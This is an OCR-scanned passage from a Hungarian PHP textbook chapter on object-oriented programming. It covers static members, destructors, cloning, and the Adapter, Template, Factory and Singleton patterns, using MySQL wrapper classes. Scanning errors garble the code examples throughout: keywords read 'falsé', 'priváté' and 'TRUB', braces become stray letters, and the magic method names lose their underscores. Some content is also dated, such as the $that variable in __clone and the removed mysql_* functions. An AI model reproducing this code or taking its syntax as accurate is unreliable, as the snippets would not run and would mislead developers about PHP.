kus tagfüggvények egy osztályhoz kötődnek, nem pedig annak egy példányához (va-
gyis egy objektumhoz), ezért osztálymetódusoknak is nevezik őket. Meghívásuk az
OsztályNév: : tagfüggvény() formában történik. A statikus tagfüggvényekben
a $this nem érhető el.

A statikus tulajdonságok (osztálytulajdonságok) az osztályhoz, és nem annak egy példá-


nyához kapcsolódó osztályváltozók. Ez azt jelenti, hogy módosításuk hatással van az
osztály valamennyi példányára. A statikus tulajdonságokat a static kulcsszóval vezet-
jük be, és az OsztályNév: : $ tulaj'donság formában érjük el. Az alábbi példából ki-
derül, hogyan is működnek:

class TestClass {
public static $counter;
}
$counter = TestClass::$counter;

Ha egy statikus tulajdonsághoz egy osztályon belül kell hozzáférnünk, a self és


a parent varázsszavakat is használhatjuk, amelyek az aktuális osztályra, illetve annak
szülőjére mutatnak. Alkalmazásukkal elkerülhető, hogy kifejezetten, név szerint kelljen
hivatkoznunk az osztályra. Az alábbiakban egy egyszerű példát mutatunk be, amely
egy statikus tulajdonság segítségével rendel egy egész számból álló egyedi azonosítót
(ID) az osztály minden példányához:

class TestClass {
public static $counter = 0;
public $id;

public function______ construct ()


{
$this->id = self::$counter++;
}
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 39

Különleges tagfüggvények
A PHP osztályai bizonyos tagfüggvényneveket különleges visszahívható (callback) függvé-
nyek számára tartanak fenn, amelyek bizonyos eseményeket kezelnek. Már ismerjük
a___construct () -ot, amelynek hívására az objektumok példányosításakor automatiku-
san sor kerül. Az osztályok ezen kívül öt további ilyen függvényt használnak. A_____ get (),
a___set () és a_____call () az osztálytulajdonságok és -metódusok hívásának módját sza-
bályozzák; velük a fejezetben később foglalkozunk. A másik két függvény
a__ destruct () és a______ clone ().

A__ destruct () az objektumok megsemmisítéséért felelős visszahívható függvény.


A destruktorok (megsemmisítő függvények) az osztályok által használt erőforrások (pél-
dául fájlleírók vagy adatbázis-kapcsolatok) felszabadítására használatosak. A PHP a válto-
zók esetében hivatkozásszámlálást alkalmaz. Amikor a számláló értéke nullára esik,
a szemétgyűjtő eltávolítja a változót a rendszerből. Ha az adott változó egy objektum, an-
nak __ destruct () tagfüggvénye hívódik meg.

Az alábbi kisméretű burkoló, amely a PHP fájlkezelő segédprogramjait csomagolja be, be-
mutatja a destruktorok működését:

class 10 {
public $fh = falsé;
public function __ construct($filename, $flags)
í
$this->fh = fopen($filename, $flags);
}
public function __ destruct()
{
if($this->fh) {
fclose($this->fh);
}
}
public function read($length)
{
if($this->fh) {
return fread($this->fh, $length);
}
}
/* ... */
}

Destruktor létrehozása a legtöbb esetben nem szükséges, mert a PHP a kérelmek végén
felszabadítja az erőforrásokat. A hosszú ideig futó vagy nagy számú állományt megnyitó
programok esetében az aggresszív takarítás elengedhetetlen.
40 PHP fejlesztés felsőfokon

A PHP4-ben valamennyi objektum érték szerint adódik át. Tegyük fel például, hogy
a PHP4-ben az alábbi kódot hajtjuk végre:

$obj = new TestClass;


$copy = $obj;

Az érték szerinti átadás azt jelenti, hogy ebben az esetben három példányt készítünk az osz-
tályból: egyet a konstruktorban, egyet a konstruktőr visszatérési értékének a $obj-hez való
rendelésekor, és egyet akkor, amikor a $obj-t a $copy-hoz rendeljük. Vagyis a jelentés tel-
jesen más, mint a többi objektumközpontú nyelvben - ezért a PHP5 meg is változtatta.

A PHP5-ben az objektumok létrehozásakor egy leírót (handlé) kapunk az objektumhoz,


ami fogalmilag megegyezik a C++ hivatkozásaival (reference). Ha a fenti kódot a PHP5-
ben hajtjuk végre, az objektumból csak egy példány keletkezik, másolatok nem.

Ha egy objektumot ténylegesen másolni szeretnénk a PHP5-ben, a beépített_______ clone ()


tagfüggvényt kell használnunk. Ahhoz, hogy a fenti példában szereplő $copy valóban
a $obj másolata legyen (nem pedig csak hivatkozás az egyetlen létező objektumra),
a következőt kell tennünk:

$obj = new TestClass;


$copy = $obj->___ clone ();

Egyes osztályok esetében a mélymásolást végző beépített_____ clone () tagfüggvény nem


biztos, hogy megfelel a céljainknak, ezért a PHP megengedi annak felülbírálását.
A__ clone () metódusban nem csak a $this hivatkozást találjuk, ami az új objektumot
jelöli, hanem a $that-et is, ami az eredetire mutat. Ha a fejezetben korábban meghatáro-
zott TestClass osztályban az alapértelmezett______ clone () tagfüggvényt használnánk, az
azonosító (az id tulajdonság) is lemásolódna, ezért inkább írjuk át az osztályt, valahogy így:
class TestClass {
public static $counter = 0;
public $id;
public $other;

public function _____construct()


{
$this->id = self::$counter++;
}
public function __ clone()
{
$this->other = $that->other;
$this->id = self::$counter++;
}
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 41

Rövid bevezetés a tervezési minták használatába


Valószínűleg hallottunk már a tervezési mintákról, de lehet hogy nem vagyunk tisztában
mibenlétükkel. A tervezési minták olyan feladatokra nyújtanak általános megoldásokat,
amelyekkel a szoftverfejlesztők gyakran találkoznak.

Ha már jó ideje programozunk, valószínűleg szükség volt már rá, hogy egy könyvtárat ké-
pessé tegyünk arra, hogy egy másik API-n keresztül elérhető legyen. Ezzel nem vagyunk
egyedül: az említett probléma általános, és bár nincs minden hasonló gondra általános ér-
vényű megoldás, voltak, akik felismerték, hogy visszatérő problémával állunk szemben és
a megoldási módszerek is ismétlődnek. A tervezési minták alapötlete, hogy a problémák
és megoldásaik ismétlődő sémákat követnek.

A tervezési minták jelentőségét sajnos gyakran elfedi a túlzott reklámozás. Én évekig mel-
lőztem őket anélkül, hogy ténylegesen megvizsgáltam volna, mire jók. Feladataim egyedi-
nek és összetettnek tűntek - úgy gondoltam, nem vehetők egy kalap alá az általános
problémákkal. Ez igen rövidlátó hozzáállásnak bizonyult.

A tervezési minták a problémák azonosítására és besorolására adnak szókincset. Az egyip-


tomi mitológiában az isteneknek és más hasonló lényeknek titkos neveik voltak, és ha is-
mertük ezeket, megidézhettük hatalmukat. A tervezési minták nagyon hasonlóak: ha fel-
fedjük egy probléma lényegét és összevetjük hasonló (és megoldott) problémák egy ismert
halmazával, máris közel kerülünk a megoldásához.

Természetesen nem állíthatjuk, hogy a tervezési mintákról egyetlen fejezetben teljes képet
lehet nyújtani. Itt csak néhány mintát tekintünk át, főként abból a célból, hogy a PHP-ben
elérhető haladó szintű OO megoldásokat bemutassuk.

Az Illesztő minta
Az Illesztő (Adapter, Adaptor minta) célja, hogy egy objektumhoz egy adott felületen ke-
resztül biztosítsunk hozzáférést. Egy tisztán objektumközpontú nyelvben az Illesztő min-
tával egy objektumhoz nyújtunk alternatív API-t, a PHP-ben viszont legtöbbször eljárások
egy halmazához.

Annak a képességnek a biztosítása, hogy egy osztályhoz egy adott API-n keresztül férhe-
tünk hozzá, két okból lehet hasznos:

• Ha több, azonos szolgáltatásokat nyújtó osztály ugyanazt az API-t valósítja meg, fu-
tás közben válthatunk közöttük. Ezt hívják többalakúságnak (polimorfizmusnak;
a szó latin eredetű: a poli jelentése „sok, több", a morfé pedig „alak, forma").
• Egy objektumok halmazán műveleteket végző, előre elkészített keretrendszer mó-
dosítása nehéz lehet. Ha olyan, mások által készített osztályt kívánunk beépíteni,
amely nem felel meg a keretrendszer által használt felületnek, a legegyszerűbben az
Illesztő minta alkalmazásával biztosíthatjuk az elvárt API-n keresztüli hozzáférést.
42 PHP fejlesztés felsőfokon

Az illesztőket a PHP-ben leggyakrabban nem egy osztály elérését egy másikon keresztül
biztosító alternatív felület nyújtására használjuk, mert a kereskedelmi PHP kódok száma
korlátozott, a nyílt kódok felületét pedig közvetlenül módosíthatjuk. A PHP eljárásközpon-
tú gyökerekkel rendelkező nyelv: a legtöbb beépített PHP-függvény ilyen jellegű. Amikor
függvényeket sorban (szekvenciálisan) kell elérnünk (például ha egy adatbázis-lekérdezést
készítünk, sorban a mysql_pconnect (), mysql_select_db (), mysql_query () és
mysql_f etch () hívásása lehet szükség), általában egy erőforrásban gyűjtjük össze a kap-
csolati adatokat, és ezt adjuk át valamennyi függvénynek. Ha a teljes folyamatot egy osz-
tályba csomagoljuk, az ismétlődő munka jelentős részét, illetve a szükséges hibakezelést
elrejthetjük.

Az alapötlet az, hogy a két fő MySQL bővítmény-erőforrást (a kapcsolatot és az ered-


ményt) egy objektumfelülettel burkoljuk be. A cél nem egy igazi elvont ábrázolás, csupán
elegendő burkoló kód biztosítása az összes MySQL bővítményfüggvény objektumközpon-
tú eléréséhez, hogy kényelmesebben tudjunk dolgozni. íme az első kísérletünk a burkoló
osztályra:

class DB_Mysql {
protected $user;
protected $pass;
protected $dbhost;
protected $dbname;
protected $dbh; // adatbázis-kapcsolati leíró

public function______ construct($user, $pass, $dbhost, $dbname) {


$this->user = $user;
$this->pass = $pass;
$this->dbhost = $dbhost;
$this->dbname = $dbname;
}
protected function connectO {
$this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass) ;
if(!is_resource($this->dbh)) {
throw new Exception;
}
if(imysql_select_db($this->dbname, $this->dbh)) {
throw new Exception;
}
}
public function execute($query) {
if ( !$this->dbh) {
$this->connect() ;
}
$ret = mysql_query($query, $this->dbh);
if(!$ret) {
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 43

throw new Exception;


}
else if(!is_resource($ret) ) {
return TRUB;
} else {
$stmt = new DB_MysqlStatement($this->dbh, $query);
$stmt->result = $ret;
return $stmt;
}
}
}

A fenti felület használatához csak létre kell hoznunk egy új DB_Mysql objektumot és pél-
dányosítani az elérni kívánt MySQL adatbázisba való belépéshez szükséges adatokkal (fel-
használói név, jelszó, gépnév, adatbázis neve):

$dbh = new DB_Mysql("testuser", "testpass", "localhost", "t est db");


$query = "SELECT * FROM users WHERE name =
*• '".mysql_escape_string($name)."'";
$stmt = $dbh->execute($query);

Ez a kód egy DB_MysqlStatement objektumot ad vissza, ami egy burkoló, amelynek


megvalósítását a MySQL visszatérési érték erőforrás köré építjük:

class DB_MysqlStatement {
protected $result;
public $query;
protected $dbh;
public function______ construct($dbh, $query) {
$this->query = $query;
$this->dbh = $dbh;
if ( !is_resource($dbh)) {
throw new Exception("Not a valid database connection") ;
}
}
public function fetch_row() {
if ( !$this->result) {
throw new Exception("Query not executed");
}
return mysql_fetch_row($this->result);
}
public function fetch_assoc() {
return mysql_fetch_assoc($this->result);
}
public function fetchall_assoc() {
$retval = array();
44 PHP fejlesztés felsőfokon

while($row = $this->fetch_assoc()) {
$retval[] = $row;
}
return $retval;
}
}

Ezután ahhoz, hogy a lekérdezésből a mysql_f etch_assoc () -hoz hasonlóan sorokat -•


nyerjünk ki, ezt kell írnunk:

while($row = $stmt->fetch_assoc()) {
// sor feldolgozása
}

A fenti megvalósítással kapcsolatban a következőket kell megjegyeznünk:

• Segítségével elkerülhető, hogy magunknak kelljen meghívnunk a connect () és


mysql_select_db () függvényeket.
• Hiba esetén kivételt vált ki. A kivételek újdonságnak számítanak a PHP5-ben. Itt
nem részletezzük őket, vagyis egyelőre nyugodtan figyelmen kívül hagyhatók, de
a 3. fejezet második felét ennek a témának szenteljük majd.
• Nem tette kényelmesebbé a munkát. Még mindig össze kell fűznünk az adatokat,
ami igen zavaró, és a lekérdezések újrahasznosítására sincs egyszerű mód.

A harmadik pontban említett probléma úgy oldható meg, ha kibővítjük a felületet, hogy
a burkoló képes legyen automatikusan összefűzni a neki átadott adatokat. Ezt legegysze-
rűbben úgy érhetjük el, ha utánozzuk az előkészített lekérdezéseket. Amikor egy lekérde-
zést futtatunk egy adatbázison, az átadott nyers SQL-t olyan formára kell hozni, amit az
adatbázis megért. Ez a lépés jelentős terhet ró a programra, ezért a legtöbb adatbázis-
rendszer megpróbálja átmenetileg tárolni az eredményeket. A felhasználó előkészíthet egy
lekérdezést, aminek nyomán az adatbázis feldolgozza azt, és visszaad valamilyen erőfor-
rást, ami a feldolgozott lekérdezés-ábrázoláshoz kapcsolódik. Ezzel gyakran jár együtt
a bind SQL szolgáltatás. A bind SQL lehetővé teszi, hogy feldolgozzunk egy olyan lekér-
dezést, amelyben a változó adatok helyén helyőrzők állnak. Ezután hozzáköthetjük (bind)
a paramétereket a lekérdezés feldolgozott változatához a végrehajtás előtt. A bind SQL
használata számos adatbázis-rendszeren (különösen az Oracle rendszeren) jelentős telje-
sítménynövekedést eredményez.

A MySQL 4.1 előtti változatai nem biztosítanak külön felületet a felhasználóknak a végre-
hajtás előtti lekérdezés-előkészítésre, és nem engedik meg a bind SQL használatát. Szá-
munkra azonban az a pont, ahol egyenként átadjuk a folyamatnak a változó adatokat, ké-
nyelmes arra, hogy elfogjuk és összefűzzük őket, mielőtt a lekérdezésbe illesztenénk.
A MySQL 4.1 új szolgáltatásának felületét Georg Richter mysqli bővítménye biztosítja.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 45

Módosítanunk kell a DB_Mysql-t, hogy tartalmazza a prepare (előkészít) tagfüggvényt,


a DB_MysqlStatement-et pedig ki kell egészítenünk a bind és execute (végrehajt)
tagfüggvényekkel:

class DB_Mysql {
/* ... */
public function prepare($query) {
if(!$this->dbh) {
$this->connect();
}
return new DB_MysqlStatement($this->dbh, $query);
}
}
class DB_MysqlStatement {
public $result;
public $binds;
public $query;
public $dbh;
/* ... */
public function execute() {
$binds = func_get_args();
foreach($binds as $index => $name) {
$this->binds[$index + 1] = $name;
}
$cnt = count($binds);
$query = $this->query;
foreach ($this->binds as $ph => $pv) {
$query = str_replace(":$ph",
**■....... .mysql_escape_string ( $pv) . " ' " , $query) ;
}
$this->result = mysql_query($query, $this->dbh);
if(!$this->result) {
throw new MysqlException;
}
return $this;
}
/* ... */
}

Itt a prepare () szinte semmit nem csinál, csak készít egy új DB_MysqlStatement objek-
tumpéldányt a megadott lekérdezéssel. A tényleges munkát a DB_MysqlStatement-ben
végezzük el. Ha nincsenek kapcsolt paramétereink, csak egy ilyen hívásra van szükség:

$dbh = new DB_Mysql("testuser", "testpass", "localhost", "t est db");


$stmt = $dbh->prepare("SELECT *
FROM users
WHERE name = '".mysql_escape_string($name)."'");
$stmt->execute () ;
46 PHP fejlesztés felsőfokon

A burkoló osztály használatának igazi előnye a natív eljáráshívásokkal szemben akkor


mutatkozik meg, amikor paramétereket kívánunk kapcsolni a lekérdezéshez. Ehhez hely-
őrzőket kell tennünk a lekérdezésbe, amelyeket a : jel vezet be; végrehajtáskor ide kap-
csolhatjuk az adatokat:

$dbh = new DB_Mysql("testuser", "testpass", "localhost", " t e s t d b " ) ;


$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :1");
$stmt->execute($name);

A : 1 a lekérdezésben azt jelenti, hogy ez az első kapcsolt változó helye. Amikor meghív-
juk a $stmt objektum execute () tagfüggvényét, az feldolgozza a neki átadott adatokat,
az első kapcsolt változó értékéül az elsőnek kapott argumentumot ($name) adja, sorosítja
és idézőjelbe teszi, majd behelyettesíti az első helyőrző (: 1) helyére.

Bár ez a kapcsoló felület nem rendelkezik a bind felületek szokásos teljesítménynövelő


hatásával, kényelmes módot ad a lekérdezés bemenő adatainak soros összefűzésére.

A Sablon minta
A Sablon minta (Template) egy olyan osztályt ír le, amely módosítja egy származtatott
osztály logikáját, hogy teljesebbé tegye.

Ezt a mintát arra használhatjuk, hogy az ősosztályokban szereplő valamennyi adatbázis-


kapcsolathoz szükséges paramétert elrejtsük magunk elől. Az előző részben látott osztály
használatához mindig meg kell adnunk a kapcsolathoz szükséges paramétereket:

<?php
require_once 'DB.inc';

define('DB_MYSQL_PROD_USER', 'test');
define('DB_MYSQL_PROD_PASS', 'test');
define('DB_MYSQL_PROD_DBHOST', 'localhost');
define('DB_MYSQL_PROD_DBNAME', ' test ' );

$dbh = new DB::Mysql(DB_MYSQL_PROD_USER, DB_MYSQL_PROD_PASS,


DB_MYSQL_PROD_DBHOST, DB_MYSQL_PROD_DBNAME);
$stmt = $dbh->execute("SELECT n o w ( ) " ) ;
print_r($stmt->fetch_row());
?>

Ahhoz, hogy ezt ne kelljen minden alkalommal megtennünk, származtathatunk egy osztályt
a DB_Mysql-ből, és mereven belekódolhatjuk a test adatbázis paramétereit:

class DB_Mysql_Test extends DB_Mysql {


protected $user = "testuser";
protected $pass = "testpass";
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 47

protected $dbhost = "localhost";


protected $dbname = "test";

public function __ construct() { }


}

Ugyanezt megtehetjük az üzemi kiszolgálón működő példány esetében is:

class DB_Mysql_Prod extends DB_Mysql {


protected $user = "produser";
protected $pass = "prodpass";
protected $dbhost = "prod.db.example.com";
protected $dbname = "prod";

public function___ construct() { }


}

Többalakúság
A fejezetben kidolgozott adatbázis-burkolók meglehetősen általánosak. Valójában ha
megnézzük a PHP-be beépített adatbázis-bővítményeket, mindben ugyanazokat a szolgál-
tatásokat találjuk - csatlakozás egy adatbázishoz, lekérdezések előkészítése és végrehajtá-
sa, az eredmények megjelenítése. Ha akarnánk, írhatnánk egy hasonló DB_Pgsql vagy
DB_Oracle osztályt, amelyek a PostgreSQL és az Oracle könyvtárakat burkolják be, és
alapvetően ugyanazok a tagfüggvények szerepelnének bennük.

Ha nagyrészt ugyanazokkal a tagfüggvényekkel rendelkezünk, látszólag nem nyerünk


semmit, mégis fontos a hasonló feladatot végrehajtó metódusoknak ugyanazt a nevet ad-
ni. Ez ugyanis lehetővé teszi a többalakúságot, ami annak a képessége, hogy észrevétle-
nül kicseréljünk egy objektumot egy másikra, ha elérési felületük megegyezik.

A gyakorlatban a többalakúság azt jelenti, hogy ehhez hasonló függvényeket írhatunk:

function show_entry($entry_id, $dbh)


{
$query = "SELECT * FROM Entries WHERE entry_id = :1";
$stmt = $dbh->prepare($query)->execute($entry_id);
$entry = $stmt->fetch_row();
// bejegyzés megjelenítése
}

Ez a függvény nem csak akkor működik, ha a $dbh egy DB_Mysql objektum, hanem
mindaddig, amíg a $dbh megvalósítja a prepare () tagfüggvényt, és az egy olyan objek-
tumot ad vissza, ami megvalósítja az execute () és f etch_assoc () metódusokat.
48 PHP fejlesztés felsőfokon

Ahhoz, hogy elkerüljük, hogy minden meghívott függvénynek át kelljen adnunk egy adat-
bázis objektumot, képviseletet (delegációt) alkalmazhatunk. A képviselet objektumköz-
pontú fogalom, és azt jelenti, hogy egy objektum tulajdonságként egy másik objektummal
rendelkezik, amelyet bizonyos feladatok végrehajtására használ.

Az adatbázis-burkoló könyvtárak tökéletes példái a képviselő (vagy megbízott) osztály-


nak. Egy szokványos alkalmazásban számos osztály végez adatbázis-műveleteket, és ezen
osztályokkal kapcsolatban két választási lehetőségünk van:

• Valamennyi adatbázis-hívást natív módon valósítjuk meg - aminek semmi értelme,


mert feleslegessé teszi az adatbázis-burkoló elkészítésébe fektetett munkát.
• Az adatbázis-burkoló API-t használjuk, de menet közben példányosítjuk az objek-
tumokat. Lássunk erre a megoldásra egy példát:
class Weblog {
public function show_entry($entry_id)
{
$query = "SELECT * FROM Entries WHERE entry_id = :1";
$dbh = new Mysql_Weblog();
$stmt = $dbh->prepare($query)->execute($entry_id);
$entry = $stmt->fetch_row();
// bejegyzés megjelenítése
}
}
A felszínen az adatbázis-kapcsolati objektumok menet közbeni példányosítása jó
ötletnek tűnik - a burkoló könyvtárat használjuk, tehát minden rendben. A gond
csak az, hogy ha meg kell változtatnunk az osztály által használt adatbázist, módo-
sítanunk kell minden függvényt, amelyben kapcsolat létesül.
• A Weblog osztályhoz tulajdonságként egy adatbázis-burkoló objektumot adva kép-
viseletet valósítunk meg. Amikor az osztályt példányosítjuk, az létrehoz egy adatbá-
zis-burkoló objektumot, és azt használja valamennyi kimeneti-bemeneti (I/O) mű-
veletre, íme a Weblog új megvalósítása, ami ezt a megoldást alkalmazza:
class Weblog {
protected $dbh;

public function setDB($dbh)


{
$this->dbh = $dbh;
}
public function show_entry($entry_id)
{
$query = "SELECT * FROM Entries WHERE entry_id = :1";
$stmt = $this->dbh->prepare($query)->execute($entry_id) ;
$entry = $stmt->fetch_row();
// bejegyzés megjelenítése
}
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 49

Az adatbázist most már beállíthatjuk az objektum számára, mégpedig a következőképpen:

$blog = new Weblog;


$dbh = new Mysql_Weblog;
$blog->setDB($dbh) ;

Természetesen a Sablon mintát követve alkalmazhatunk egy sablont is az adatbázis-képvi-


selő beállítására:

class Weblog_Std extends Weblog {


protected $dbh;
public function ______construct()
{
$this->dbh = new Mysql_Weblog;
}
}
$blog = new Weblog_Std;

A képviselet minden olyan esetben hasznos, amikor egy bonyolult vagy egy osztályon be-
lül valószínűleg változó szolgáltatást kell biztosítanunk. Emellett gyakran alkalmaznak
képviseletet az olyan osztályokban is, amelyeknek kimenetet kell előállítaniuk. Ha a ki-
menet többféle módon (HTML, sima szöveg, RSS - ez utóbbi jelentése a válaszadó szemé-
lyétől függően Rich Site Summary vagy Really Simple Syndication) is megjeleníthető, ér-
demes lehet bejegyezni egy képviselőt, amely képes a kívánt kimenetet előállítani.

Felületek és típusjelzések
A sikeres képviselet kulcsa, hogy biztosítsuk a szükséges osztályok többalakúságát.
Ha a Weblog objektum számára $dbh paraméterként olyan osztályt adunk meg, amely
nem valósítja meg a f etch_row () műveletet, futásidőben végzetes hiba lép fel. A futás-
idejű hibák észlelése meglehetősen nehéz, hacsak nem gondoskodunk róla magunk,
hogy valamennyi objektum megvalósítsa az összes szükséges függvényt.

Az ilyen jellegű hibák még időben történő elfogását segítendő a PHP5 bevezette a felüle-
tek (interfészek) fogalmát, h felület olyan, mint egy osztály csontváza. Akárhány tagfügg-
vényt megadhat, de kódot nem mellékel hozzájuk, csak egy prototípust, például a függ-
vény argumentumait. Nézzük meg, hogyan fest egy alapvető felület (interf ace), ami le-
írja az adatbázis-kapcsolatokhoz szükséges tagfüggvényeket:

interface DB_Connection {
public function execute($query);
public function prepare($query);
}
50 PHP fejlesztés felsőfokon

Míg az öröklésnél bővítünk egy osztályt, felület használatánál - mivel nincs meghatározott
kód - egyszerűen „beleegyezünk", hogy úgy és azokat a függvényeket valósítjuk meg,
amelyeket a felület megad.

A DB_Mysql például a DB_Connection által megadott függvény-prototípusokhoz nyújt


megvalósítást, ezért így vezethetjük be:

class DB_Mysql implements DB_Connection {


/* osztály-meghatározás */
}

Ha egy osztályt úgy vezetünk be, mintha egy felületet valósítana meg, pedig nem ez
a helyzet, fordítási idejű hibát kapunk. Tegyük fel például, hogy létrehozunk egy DB_Foo
nevű osztályt, amely egyetlen tagfüggvényt sem valósít meg:

<?php
require "DB/Connection.inc";
class DB_Foo implements DB_Connection {}
?>

Az osztály futtatása a következő hibát eredményezi:

Fatál error: Class db_foo contains 2 abstract methods and must


be declared abstract (db connection::execute, db connection:: prepare)
in /Users/george/Advanced PHP/examples/chapter-2/14.php on line 3

A PHP nem támogatja a többszörös öröklést, vagyis egy osztály nem származhat közvetle-
nül több osztálytól. Az alábbi például nyelvtanilag helytelen:

class A extends B, C {}

Mindazonáltal - mivel a felületek csak egy prototípust írnak le, nem pedig egy megvalósí-
tást - egy osztály tetszőleges számú felületet valósíthat meg. Ez azt jelenti, hogy ha van egy
A és egy B felületünk, egy C osztály mindkettőhöz nyújthat megvalósítást, valahogy így:

<?php

interface A {
public function abba();
}

interface B {
public function bar();
}
2. fejezet * Objektumközpontú programozás tervezési minták segítségével 51

class C implements A, B {
public function abba()
{
// abba;
}
public function bar ()
<
// bar;
}
}
?>

A felületek és osztályok között egyfajta köztes szintet képviselnek az elvont osztályok


(absztrakt osztályok). Az elvont osztály tartalmazhat mind kidolgozott tagfüggvényeket
(amelyeket örököl), mind elvont tagfüggvényeket (amelyeket a leszármaztatottaknak kell
meghatározniuk). A következő példában egy A elvont osztályt láthatunk, ami teljes meg-
valósítást nyújt az abba () tagfüggvényhez, de a bar () -t elvontként határozza meg:

abstract class A {
public function abba()
{
// abba
}
abstract public function bar();
}

Mivel a bar () nincs teljesen kifejtve, nem példányosítható. Származtatni viszont lehet be-
lőle, és amíg a leszármazott osztály A valamennyi elvont tagfüggvényét megvalósítja, ké-
szíthető belőle példány. B kibővíti (extends) A-t és megvalósítja a bar () -t, vagyis a pél-
dányosítás gond nélkül végrehajtható:

class B extends A {
public function bar()
{
$this->abba();
}
}
$b = new B;

Miután az elvont osztályok egyes tagfüggvényeikhez tényleges megvalósítást nyújtanak,


az öröklés szempontjából osztályoknak számítanak. Ez azt jelenti, hogy egy osztály csak
egyetlen elvont osztályt bővíthet.

A felületek segítenek abban, nehogy lábon lőjük magunkat, amikor többalakúnak szánt
osztályokat vezetünk be, de a képviseleti hibákat csak részben tudják megakadályozni.
52 PHP fejlesztés felsőfokon

Arra is képesnek kell lennünk, hogy biztosítsuk, hogy azok a függvények, amelyek egy
adott felület megvalósításához egy bizonyos objektumot várnak, meg is kapják azt.

Az ehhez szükséges számítást persze elvégezhetjük közvetlenül a kódban, „kézi módszer-


rel", az is_a () függvénnyel ellenőrizve az objektumok osztályát:

function addDB($dbh)
{
if(!is_a($dbh, "DB_Connection")) {
trigger_error("\$dbh is not a DB_Connection object", E_USER_ERROR);
}
$this->dbh = $dbh;
}

Ennek a módszernek két hátulütője van:

• Ahhoz képest, hogy csak egy átadott paraméter típusát szeretnénk ellenőrizni, igen
hosszú kódot igényel.
• Nem része a függvény prototípus-deklarációjának, vagyis egy adott felületet meg-
valósító osztályban nem kényszeríthetünk ki ilyen paraméterellenőrzést.

A PHP5 ezeket a hiányosságokat azzal orvosolta, hogy bevezette a típusellenőrzés, illetve


típusjelzés (type hinting) lehetőségét a függvénydeklarációkban és a prototípusokban.
Ha a szolgáltatást be szeretnénk kapcsolni egy függvény esetében, a következőképpen
kell bevezetnünk:

function addDB(DB_Connection $dbh)


{
$this->dbh = $dbh;
}

Ez a függvény pontosan ugyanúgy viselkedik, mint amit az előző példában láthattunk -


vagyis végzetes hibát vált ki, ha a $dbh nem a DB_Connection osztály példánya (akár
közvetlenül, akár örökléssel vagy felület-megvalósítással).

A Gyár minta
A Gyár minta (Factory) szabványos módszert biztosít az osztályok számára, hogy más osz-
tályba tartozó objektumokat hozzanak létre. Erre jellemzően akkor van szükség, amikor
egy olyan függvénnyel rendelkezünk, amelynek a bemenő paraméterektől függően kü-
lönböző osztályú objektumokat kell visszaadnia.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 53

Amikor szolgáltatásokat egy másik adatbázisra viszünk át, az egyik legnagyobb kihívást az
jelenti, hogy megtaláljuk mindazon helyeket, ahol a régi burkoló objektumot használjuk, il-
letve biztosítsuk az újat. Tegyük fel például, hogy egy jelentéskészítő adatbázissal rendelke-
zünk, ami egy Oracle adatbázisra támaszkodik, amit kizárólag a DB_Oracle_Reporting
nevű osztályon keresztül érünk el:

class DB_Oracle_Reporting extends DB_Oracle { /* ... */}

Mivel előrelátóak voltunk, a DB_Oracle a szabványos adatbázis-felületünket használja:

class DB_Oracle implements DB_Connection { /* . . . */ }

Amikor csak a jelentéskészítő adatbázis elérésére van szükség, ilyen burkolópéldányokkal


rendelkezünk az alkalmazás kódjában elszórva:

$dbh = new DB_Oracle_Reporting;

Ha azt szeretnénk, hogy az adatbázis az új DB_Mysql_Reporting burkolót használja,


meg kell keresnünk minden helyet, ahol a régi burkolót használjuk, és a következőkép-
pen kell módosítanunk:

$dbh = new DB_Mysql_Reporting;

Ennél rugalmasabb megközelítés, ha valamennyi adatbázis objektumot egyetlen gyárral


hozzuk létre. A gyár valahogy így nézhet ki:

function DB_Connection_Factory($key)
{
switch($key) {
case "Test" :
return new DB_Mysql_Test;
case "Prod":
return new DB_Mysql_Prod;
case "Weblog":
return new DB_Pgsql_Weblog;
case "Reporting":
return new DB_Oracle_Reporting;
default:
return falsé;
}
}
54 PHP fejlesztés felsőfokon

Ahelyett, hogy az objektumokat a new segítségével példányosítanánk, az alábbi kódot


használhatjuk erre a célra:

$dbh = DB_Connection_factory("Reporting");

Ha ezután globálisan meg szeretnénk változtatni a kapcsolatok megvalósítását a jelentés-


készítő felülettel, csak a gyárat kell módosítanunk.

Az Egyke minta
A PHP4 objektummodelljének leginkább kritizált tulajdonsága, hogy nagyon megnehezíti
az egykék megvalósítását. Az Egyke minta (Singleton) egy olyan osztályt ír le, amelynek
csak egyetlen globális példánya van. Az egykék számos helyen bizonyulnak természetes
választásnak. A böngésző felhasználókhoz csak egyetlen sütihalmaz és egyetlen profil tar-
tozik. Ehhez hasonlóan, egy HTTP kérelmeket (fejléccel, válaszkóddal stb.) beburkoló
osztály kérelmenként csak egy példánnyal rendelkezik. Ha olyan adatbázis-illesztőprog-
ramot használunk, amely nem támogatja a kapcsolatok megosztását, szintén felmerülhet
egy egyke használata, amellyel biztosíthatjuk, hogy egy adatbázishoz egyszerre csak egy
kapcsolat legyen megnyitva.

A PHP5-ben számos módja van az egykék megvalósításának. Megtehetjük, hogy egy ob-
jektum valamennyi tulajdonságát egyszerűen static-ként vezetjük be, de így igen furcsa
kódokat kell írnunk az objektum kezelésére, és ténylegesen soha nem használunk pél-
dányt az objektumból. íme egy egyszerű osztály, amely az Egyke mintát követi:

<?php
class Singleton {
static $property;
public function __ construct() {}
}

Singleton::$property = "foo";
?>

Mivel itt ténylegesen soha nem hozunk létre példányt a Singleton osztályból, nem ad-
hatjuk át függvényeknek.

Az egyik jó megoldás az egykék megvalósítására a PHP5-ben egy egykét létrehozó gyár-


tófüggvény (gyártó metódus) használata. A gyártófüggvény privát hivatkozást tart fenn az
osztály eredeti példányára, és kérés esetén visszaadja. Lássunk egy példát a Gyár mintára.
A getlnstance () egy gyártófüggvény, amely a Singleton osztály egyetlen példányát
adja vissza:
class Singleton {
priváté static $instance = falsé;
public $property;
2. fejezet * Objektumközpontú programozás tervezési minták segítségével 55

priváté function ______construct() {}


public static function getlnstance()
{
if (self::$instance === falsé) {
self::$instance = new Singleton;
}
return self::$instance;
}
}

$a = Singleton::getlnstance();
$b = Singleton::getlnstance();
$a->property = "hello world";
print $b->property;

